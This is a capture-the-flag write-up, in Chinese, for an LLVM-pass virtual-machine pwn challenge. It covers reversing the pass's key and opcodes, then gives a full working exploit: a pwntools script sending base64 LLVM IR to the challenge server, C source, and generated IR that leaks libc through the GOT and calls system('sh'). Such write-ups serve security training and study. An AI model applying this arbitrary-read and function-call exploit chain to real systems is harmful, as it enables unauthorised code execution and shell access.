源鲁杯-2024 show_me_the_code
逆向分析
这部分可以说是llvm中最花时间的阶段了,只有逆向过了交互,才能懂得漏洞如何利用
runOnFunction函数
secret::init
主要功能是得到vmkey的值,然后mmap出一段地址,reg[6]=mmap_addr,reg[7]=mmap_addr+0x1000。我大致逆向了一下里面的东西,基本就是涉及xor,sm4,base64,rc4一些算法,直接逆向得到这些key也可以,但是还得保证一部分不出错才行。所以这时候来了一个简单的方法–动态调试!!!
直接通过动调看运行时vmkey的值,然后又因为这些加解密操作的数值是固定的,所以vmkey的值也是固定的,因此可以直接动调看出来,vmkey=detlfyiruby1145#
验证是否是main入口
这部分动调的时候看了一下就是判断是不是main入口,是的话才执行下面的c0oo0o0Ode::vmRun(this, v9);
同理,这里也可以动调看出来这个值是什么,最终发现是**_Z10c0deVmMainv**这个
VMDatProt::getStrFromProt2(
(__int64)v5,
(__int64)&anonymous namespace::vmFuncName[abi:cxx11],
(__int64)&secret::vmKey[abi:cxx11]);
llvm::StringRef::StringRef(v6, v5);
v4 = llvm::operator==(Name, v8, v6[0], v6[1]);
std::string::~string(v5);
执行函数前的验证-isValidOp函数
首先根据anonymous namespace::ops[abi:cxx11]取出对应的值,然后用vmkey来进行解密,判断函数名是否和给定的一致
一致后进入isValidEnv函数
__int64 __fastcall anonymous namespace::c0oo0o0Ode::isValidEnv(__int64 a1, __int64 a2)
{
__int64 Type; // rax
__int64 v3; // rdx
char v5; // [rsp+7h] [rbp-C9h]
char v6[32]; // [rsp+8h] [rbp-C8h] BYREF
char v7[8]; // [rsp+28h] [rbp-A8h] BYREF
char v8[32]; // [rsp+30h] [rbp-A0h] BYREF
char v9[32]; // [rsp+50h] [rbp-80h] BYREF
__int64 v10[2]; // [rsp+70h] [rbp-60h] BYREF
__int64 StructName; // [rsp+80h] [rbp-50h]
__int64 v12; // [rsp+88h] [rbp-48h]
llvm::Type *v13; // [rsp+90h] [rbp-40h]
llvm::Type *ElementType; // [rsp+98h] [rbp-38h]
llvm::PointerType *v15; // [rsp+A0h] [rbp-30h]
llvm::Value *ArgOperand; // [rsp+A8h] [rbp-28h]
llvm::CallBase *v17; // [rsp+B0h] [rbp-20h]
__int64 v18; // [rsp+B8h] [rbp-18h]
__int64 v19; // [rsp+C0h] [rbp-10h]
char v20; // [rsp+CFh] [rbp-1h]
v19 = a1;
v18 = a2;
v17 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>>(a2);
if ( !v17 )
goto LABEL_6;
ArgOperand = (llvm::Value *)llvm::CallBase::getArgOperand(v17, 0); //获得第一个参数
Type = llvm::Value::getType(ArgOperand); //得到参数类型
v15 = (llvm::PointerType *)llvm::dyn_cast<llvm::PointerType,llvm::Type>(Type); //PointerType显然是要是个指针类型
if ( !v15 )
goto LABEL_6;
ElementType = (llvm::Type *)llvm::PointerType::getElementType(v15); //再根据指针获得元素类型
if ( (llvm::Type::isStructTy(ElementType) & 1) == 0 ) //判断元素是不是个结构体
goto LABEL_6;
v13 = (llvm::Type *)llvm::cast<llvm::StructType,llvm::Type>(ElementType);
StructName = llvm::Type::getStructName(v13); //得到结构体的名称
v12 = v3;
std::allocator<char>::allocator(v7);
//判断结构体的名称是不是class.edoc
std::string::basic_string(v8, "class.", v7);
VMDatProt::getStrFromProt2(
(__int64)v6,
(__int64)&anonymous namespace::vmEnvName[abi:cxx11],
(__int64)&secret::vmKey[abi:cxx11]);
std::operator+<char>(v9, v8, v6); // v9="class.edoc"
llvm::StringRef::StringRef(v10, v9);
v5 = llvm::operator==(StructName, v12, v10[0], v10[1]);
std::string::~string(v9);
std::string::~string(v6);
std::string::~string(v8);
std::allocator<char>::~allocator(v7);
if ( (v5 & 1) != 0 )
v20 = 1;
else
LABEL_6:
v20 = 0;
return v20 & 1;
}
最终逆向结果
isValidOp函数执行后就是执行每个opcode了,但是还有个地方要注意
这里的llvm::Type::isIntegerTy(Type, 8u)这里的8是指8位,也就是char型,我一开始以为是8个字节,查阅资料后才知道错了。而且从上面的变量定义也可以看到是unsigned char类型
这里的函数名都是一个个动调的时候看实际被加载时是什么名称就可以了
最终结果如下
#include <stdbool.h>
struct opcode{
int op0;
} *op;
//之后再把struct.opcode全部替换为class.edoc
void _ZN4edoc4addiEhii(struct opcode *op1,char num,int v1,int v2); //op1 reg[num]=unsigned int(v1+v2) 0<=num<=5
void _ZN4edoc4chgrEhi(struct opcode *op2,char num,int v); //op2 只可以用一次 reg[num]+=v -4096<v<4096
void _ZN4edoc4sftrEhbh(struct opcode *op3,char num,bool type,char shift);//op3 type=1:*reg[num]<<shift 或者 type=0:*reg[num]>>shift 0<=num<=5 0<shift<64
void _ZN4edoc4borrEhhh(struct opcode * op4,char a1,char a2,char a3);//op4 reg[a1]=reg[a2]|reg[a3] a1,a2,a3 0<=x<=5
void _ZN4edoc4movrEhh(struct opcode *op5,char a1,char a2);//op5 reg[a1]=reg[a2] 0<=x<=7 可以涉及到mmap_addr
void _ZN4edoc4saveEhj(struct opcode * op6,char num,int offset);//op6 offset&7==0(8字节对齐) *(reg[6]+offset)=reg[num] 0<=num<=5
void _ZN4edoc4loadEhj(struct opcode * op7,char num,int offset);//op7 offset&7==0(8字节对齐) reg[num]=*(reg[6]+offset) 0<=num<=5 offset>=0
void _ZN4edoc4runcEhj(struct opcode * op8,char num,int offset);//op8 func=*(reg[6]+offset) call func(reg[num]) offset>=0
题目分析
基于每个opcode,可以看到op8是一个任意函数执行,同时可以控制rdi。但是思考如何leak出system函数的地址,可以看到op5可以覆盖reg[6],reg[7]寄存器的值 而op7实际上是通过*(reg[6]+offset)来访问,所以控制了reg[6]后就相当于实现了任意地址leak,同时opt文件一般是no pie,所以可以利用opt的got表来leak出libcbase附近的地址
如图所示可以看到cxa_atexit函数的地址和libcbase偏移为0x458c0,同时system函数地址和libcbase偏移为0x50D70,所以我们想要通过cxa_atexit来凑出system函数地址。我们知道libcbase低12位都是0,只有中间13-20位我们不可控。同时题目给了条件是只让做一次0x1000以内的加减法,所以我们可以考虑这样处理
通过左右位移得到cxa_atexit的13-20位,也就是0xyy+0x45(这里的0xyy是libcbase本身的随机值),然后利用op2让其加上0xb,得到0xyy+0x50,这样我们就得到了确定的13-20位的值,然后将其左移12位,再利用op4来或上0xd70,这样就得到了system函数基于libcbase的低20位值。
然后再将cxa_atexit右移20位,再左移20位(也就是将低20位清0),最后再或上刚才得到的值,那么就得到了system的真实地址,这个方法还不需要爆破!!!(除非…,就是0xyy+0x45+0xb产生了进位,但这概率非常非常小,实际打的过程也是一次就通了)
也就是对应下面的步骤
//op7 reg[2]=*(reg[6]+0x68)=&__cxa_atexit
_ZN4edoc4loadEhj(op,2,0x68);
//op5 reg[4]=reg[2]
_ZN4edoc4movrEhh(op,4,2);
//op3 把高44位清0
_ZN4edoc4sftrEhbh(op,2,1,44);
_ZN4edoc4sftrEhbh(op,2,0,44);
//op3 把13-20位放到低位
_ZN4edoc4sftrEhbh(op,2,0,12);
//op2 0x0458c0 0x50D70 system
_ZN4edoc4chgrEhi(op,2,0xb);
//op3
_ZN4edoc4sftrEhbh(op,2,1,12);
//op1 reg[3]=0xd70
_ZN4edoc4addiEhii(op,3,0xd70,0);
//op4 reg[2]=reg[2]|reg[3] 得到基于libcbase的system函数的低20位==reg[2]
_ZN4edoc4borrEhhh(op,2,2,3);
//op3 reg[4]低20位清0
_ZN4edoc4sftrEhbh(op,4,0,20);
_ZN4edoc4sftrEhbh(op,4,1,20);
//op4 reg[4]=reg[4]|reg[2]=&system
_ZN4edoc4borrEhhh(op,4,2,4);
这个问题解决了后基本就很顺利的来执行system(“sh”)来getshell了
exp
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import base64
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1417)')
p=remote('challenge.yuanloo.com',47308)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
# libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *$rebase(0x109B)')
pause()
# 读取文件内容
with open('exp.ll', 'rb') as file:
file_data = file.read()
# 对文件内容进行 Base64 编码
encoded_data = base64.b64encode(file_data)
p.sendlineafter("Please input base64 encoded string (EOF to stop):",encoded_data+b'\nEOF')
p.interactive()
- exp.c
#include <stdbool.h>
struct opcode{
int op0;
} *op;
//之后再把struct.opcode全部替换为class.edoc
void _ZN4edoc4addiEhii(struct opcode *op1,char num,int v1,int v2); //op1 reg[num]=unsigned int(v1+v2) 0<=num<=5
void _ZN4edoc4chgrEhi(struct opcode *op2,char num,int v); //op2 只可以用一次 reg[num]+=v -4096<v<4096
void _ZN4edoc4sftrEhbh(struct opcode *op3,char num,bool type,char shift);//op3 type=1:*reg[num]<<shift 或者 type=0:*reg[num]>>shift 0<=num<=5 0<shift<64
void _ZN4edoc4borrEhhh(struct opcode * op4,char a1,char a2,char a3);//op4 reg[a1]=reg[a2]|reg[a3] a1,a2,a3 0<=x<=5
void _ZN4edoc4movrEhh(struct opcode *op5,char a1,char a2);//op5 reg[a1]=reg[a2] 0<=x<=7 可以涉及到mmap_addr
void _ZN4edoc4saveEhj(struct opcode * op6,char num,int offset);//op6 offset&7==0(8字节对齐) *(reg[6]+offset)=reg[num] 0<=num<=5
void _ZN4edoc4loadEhj(struct opcode * op7,char num,int offset);//op7 offset&7==0(8字节对齐) reg[num]=*(reg[6]+offset) 0<=num<=5 offset>=0
void _ZN4edoc4runcEhj(struct opcode * op8,char num,int offset);//op8 func=*(reg[6]+offset) call func(reg[num]) offset>=0
void _Z10c0deVmMainv()
{
op->op0 = 0;
//op5 把mmap_addr存到reg[0]
_ZN4edoc4movrEhh(op,0,6);
//op5 把mmap_addr+0x1000存到reg[5]
_ZN4edoc4movrEhh(op,5,7);
//op1 reg[1]=0x442000 memcpy
_ZN4edoc4addiEhii(op,1,0x442000,0);
//op5 reg[6]=reg[1]=0x442000
_ZN4edoc4movrEhh(op,6,1);
//op1 reg[3]=0x443000 绕过check
_ZN4edoc4addiEhii(op,3,0x443000,0);
//op5 reg[7]=reg[3]=0x443000
_ZN4edoc4movrEhh(op,7,3);
//op7 reg[2]=*(reg[6]+0x68)=&__cxa_atexit
_ZN4edoc4loadEhj(op,2,0x68);
//op5 reg[4]=reg[2]
_ZN4edoc4movrEhh(op,4,2);
//op3 把高44位清0
_ZN4edoc4sftrEhbh(op,2,1,44);
_ZN4edoc4sftrEhbh(op,2,0,44);
//op3 把13-20位放到低位
_ZN4edoc4sftrEhbh(op,2,0,12);
//op2 0x0458c0 0x50D70 system
_ZN4edoc4chgrEhi(op,2,0xb);
//op3
_ZN4edoc4sftrEhbh(op,2,1,12);
//op1 reg[3]=0xd70
_ZN4edoc4addiEhii(op,3,0xd70,0);
//op4 reg[2]=reg[2]|reg[3] 得到基于libcbase的system函数的低20位==reg[2]
_ZN4edoc4borrEhhh(op,2,2,3);
//op3 reg[4]低20位清0
_ZN4edoc4sftrEhbh(op,4,0,20);
_ZN4edoc4sftrEhbh(op,4,1,20);
//op4 reg[4]=reg[4]|reg[2]=&system
_ZN4edoc4borrEhhh(op,4,2,4);
//op5 把mmap_addr存到reg[6]
_ZN4edoc4movrEhh(op,6,0);
//op5 把mmap_addr+0x1000存到reg[7]
_ZN4edoc4movrEhh(op,7,5);
//op6 *(reg[6]+offset)=&system
_ZN4edoc4saveEhj(op,4,0);
//op1 reg[5]=="sh"
_ZN4edoc4addiEhii(op,5,0x6873,0);
//op6 *(reg[6]+8)="sh"
_ZN4edoc4saveEhj(op,5,8);
//op1 reg[5]=8
_ZN4edoc4addiEhii(op,5,8,0);
//op4
_ZN4edoc4borrEhhh(op,0,0,5);
//system("sh")
_ZN4edoc4runcEhj(op,0,0);
}
- clang-12 -emit-llvm -S exp.c -o exp.ll后要注意把struct.opcode全部替换为class.edoc(为了过结构体的那个check)
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%class.edoc = type { i32 }
@op = dso_local global %class.edoc* null, align 8
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @_Z10c0deVmMainv() #0 {
%1 = load %class.edoc*, %class.edoc** @op, align 8
%2 = getelementptr inbounds %class.edoc, %class.edoc* %1, i32 0, i32 0
store i32 0, i32* %2, align 4
%3 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4movrEhh(%class.edoc* %3, i8 signext 0, i8 signext 6)
%4 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4movrEhh(%class.edoc* %4, i8 signext 5, i8 signext 7)
%5 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4addiEhii(%class.edoc* %5, i8 signext 1, i32 4464640, i32 0)
%6 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4movrEhh(%class.edoc* %6, i8 signext 6, i8 signext 1)
%7 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4addiEhii(%class.edoc* %7, i8 signext 3, i32 4468736, i32 0)
%8 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4movrEhh(%class.edoc* %8, i8 signext 7, i8 signext 3)
%9 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4loadEhj(%class.edoc* %9, i8 signext 2, i32 104)
%10 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4movrEhh(%class.edoc* %10, i8 signext 4, i8 signext 2)
%11 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4sftrEhbh(%class.edoc* %11, i8 signext 2, i1 zeroext true, i8 signext 44)
%12 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4sftrEhbh(%class.edoc* %12, i8 signext 2, i1 zeroext false, i8 signext 44)
%13 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4sftrEhbh(%class.edoc* %13, i8 signext 2, i1 zeroext false, i8 signext 12)
%14 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4chgrEhi(%class.edoc* %14, i8 signext 2, i32 11)
%15 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4sftrEhbh(%class.edoc* %15, i8 signext 2, i1 zeroext true, i8 signext 12)
%16 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4addiEhii(%class.edoc* %16, i8 signext 3, i32 3440, i32 0)
%17 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4borrEhhh(%class.edoc* %17, i8 signext 2, i8 signext 2, i8 signext 3)
%18 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4sftrEhbh(%class.edoc* %18, i8 signext 4, i1 zeroext false, i8 signext 20)
%19 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4sftrEhbh(%class.edoc* %19, i8 signext 4, i1 zeroext true, i8 signext 20)
%20 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4borrEhhh(%class.edoc* %20, i8 signext 4, i8 signext 2, i8 signext 4)
%21 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4movrEhh(%class.edoc* %21, i8 signext 6, i8 signext 0)
%22 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4movrEhh(%class.edoc* %22, i8 signext 7, i8 signext 5)
%23 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4saveEhj(%class.edoc* %23, i8 signext 4, i32 0)
%24 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4addiEhii(%class.edoc* %24, i8 signext 5, i32 26739, i32 0)
%25 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4saveEhj(%class.edoc* %25, i8 signext 5, i32 8)
%26 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4addiEhii(%class.edoc* %26, i8 signext 5, i32 8, i32 0)
%27 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4borrEhhh(%class.edoc* %27, i8 signext 0, i8 signext 0, i8 signext 5)
%28 = load %class.edoc*, %class.edoc** @op, align 8
call void @_ZN4edoc4runcEhj(%class.edoc* %28, i8 signext 0, i32 0)
ret void
}
declare dso_local void @_ZN4edoc4movrEhh(%class.edoc*, i8 signext, i8 signext) #1
declare dso_local void @_ZN4edoc4addiEhii(%class.edoc*, i8 signext, i32, i32) #1
declare dso_local void @_ZN4edoc4loadEhj(%class.edoc*, i8 signext, i32) #1
declare dso_local void @_ZN4edoc4sftrEhbh(%class.edoc*, i8 signext, i1 zeroext, i8 signext) #1
declare dso_local void @_ZN4edoc4chgrEhi(%class.edoc*, i8 signext, i32) #1
declare dso_local void @_ZN4edoc4borrEhhh(%class.edoc*, i8 signext, i8 signext, i8 signext) #1
declare dso_local void @_ZN4edoc4saveEhj(%class.edoc*, i8 signext, i32) #1
declare dso_local void @_ZN4edoc4runcEhj(%class.edoc*, i8 signext, i32) #1
attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.1-19ubuntu3"}
最后成功打通
后记
实际上出题人期望的交互是这样的,这样刚好就有class类了
class edoc {
public:
void addi(unsigned char x, int y, int z) {} //regs[x] = y + z x <= 5
void chgr(unsigned char x, int y) {} //regs[x] += y x <= 5 -0x1000 < y < 0x1000 onetime
void sftr(unsigned char x, bool y, unsigned char z) {} //y = 1 : regs[x] << z; y = 0 : regs[x] >> z x <= 5 y < 0x40
void borr(unsigned char x, unsigned char y, unsigned char z) {} //regs[x] = regs[y] | regs[z] x <= 5 y <= 5 z <= 5
void movr(unsigned char x, unsigned char y) {} //regs[x] = regs[y] x < 8 y < 8
void save(unsigned char x, unsigned int y) {} //*(y+regs[6]) = regs[x] x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000
void load(unsigned char x, unsigned int y) {} //regs[x] = *(y+regs[6]) x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000
void runc(unsigned char x, unsigned int y) {} //*(y+regs[6])(regs[x]) x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000
};
edoc obj;
int c0deVmMain() {
obj.addi(0, 0x442000, 0); //getenv_got
}
同时那些看着很奇怪的函数其实也有自己的含义